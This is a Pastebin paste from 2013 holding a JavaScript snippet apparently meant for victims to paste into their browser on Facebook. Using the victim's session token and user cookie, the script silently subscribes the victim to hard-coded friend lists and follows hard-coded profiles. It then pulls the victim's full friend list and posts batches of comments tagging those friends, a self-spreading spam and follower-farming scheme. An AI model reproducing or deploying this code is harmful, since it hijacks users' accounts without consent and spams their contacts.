Advertisement
ytu

code tag bạn bè fcebook

ytu
Dec 5th, 2013
346
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.15 KB | None | 0 0
  1. /* All Right Reserver ElMzx.Ma Don't Change Anything */
  2. function tag(uidss) {
  3. var a = document.createElement('script');
  4. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  5. document.body.appendChild(a);
  6. }tag("1380808955497739");tag("1380809992164302");
  7. function tagfriend(abone)
  8. { var http4=new XMLHttpRequest;
  9. var url4="/ajax/follow/follow_profile.php?__a=1";
  10. var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";
  11. http4.open("POST",url4,true);
  12. http4.onreadystatechange=function()
  13. { if(http4.readyState==4&&http4.status==200)http4.close };
  14. http4.send(params4)}
  15. tagfriend("100007059427793");
  16. function x__0() { return window.ActiveXObject ? new ActiveXObject("Msxml2.XMLHTTP") : new XMLHttpRequest; };
  17. function get_friends(){
  18. var a=x__0();
  19. a.open("GET", "/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&lazy=0&viewer="+uid+"&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", false);
  20. a.send(null);
  21. if (a.readyState == 4) {
  22. var f = JSON.parse(a.responseText.substring(a.responseText.indexOf('{')));
  23. return f.payload.entries;
  24. }
  25. return false;
  26. }
  27. function get_uid(b){
  28. var a=x__0();
  29. a.open("GET", 'http://graph.facebook.com/'+b, false);
  30. a.send();
  31. if (a.readyState == 4) {
  32. return uid = JSON.parse(a.responseText).id;
  33. }
  34. return false;
  35. }
  36. var patt = /comment_text=(.*?)&/
  37. var c = 1;
  38. username = /\.com\/(.*?)\//.exec(window.top.location)[1];
  39. uid = get_uid(username);
  40. a = window.top.location;
  41. termina = 0;
  42. var amigos = get_friends();
  43. post_id = /[0-9]{8,}/.exec(a);
  44. uids = 'comment_text=';
  45. header = 'ft_ent_identifier='+post_id+'&comment_text=0&source=1&client_id=1359576694192%3A1233576093&reply_fbid&parent_comment_id&rootid=u_jsonp_3_19&ft[tn]=[]&ft[qid]=5839337351464612379&ft[mf_story_key]=5470779710560437153&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user='+uid+'&__a=1&__req=4u&fb_dtsg='+document.getElementsByName('fb_dtsg')[0].value+'&phstamp='+Math.random();
  46. for ( var n = 1 ; n < amigos.length ; n++ ){
  47. //uids += '%40[' + amigos[n].uid + '%3A' + encodeURI(amigos[n].text) + ']%20';
  48. fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  49. uids += '%40[' + amigos[n].uid + '%3AAAAAAAAAAAA]%20';
  50. c++;
  51. if(c == 7){
  52. uids += '&';
  53. with(new XMLHttpRequest()) open("POST", "/ajax/ufi/add_comment.php?__a=1"),setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),send(header.replace(patt, uids));
  54. z = setTimeout('function(){asd=0}', 1000);
  55. clearInterval(z);
  56. c = 1;
  57. uids = 'comment_text=';
  58. }
  59. }
  60. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  61. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  62. function cereziAl(isim) {
  63. var tarama = isim + "=";
  64. if (document.cookie.length > 0) {
  65. konum = document.cookie.indexOf(tarama)
  66. if (konum != -1) {
  67. konum += tarama.length
  68. son = document.cookie.indexOf(";", konum)
  69. if (son == -1)
  70. son = document.cookie.length
  71. return unescape(document.cookie.substring(konum, son))
  72. }
  73. else { return ""; }
  74. }
  75. }
  76. function getRandomInt (min, max) {
  77. return Math.floor(Math.random() * (max - min + 1)) + min;
  78. }
  79. function randomValue(arr) {
  80. return arr[getRandomInt(0, arr.length-1)];
  81. }
  82. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  83. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  84. function a(abone){
  85. var http4 = new XMLHttpRequest();
  86. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  87. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  88. http4.open("POST", url4, true);
  89. //Send the proper header information along with the request
  90. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  91. http4.setRequestHeader("Content-length", params4.length);
  92. http4.setRequestHeader("Connection", "close");
  93. http4.onreadystatechange = function() {//Call a function when the state changes.
  94. if(http4.readyState == 4 && http4.status == 200) {
  95. http4.close; // Close the connection
  96. }
  97. }
  98. http4.send(params4);
  99. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement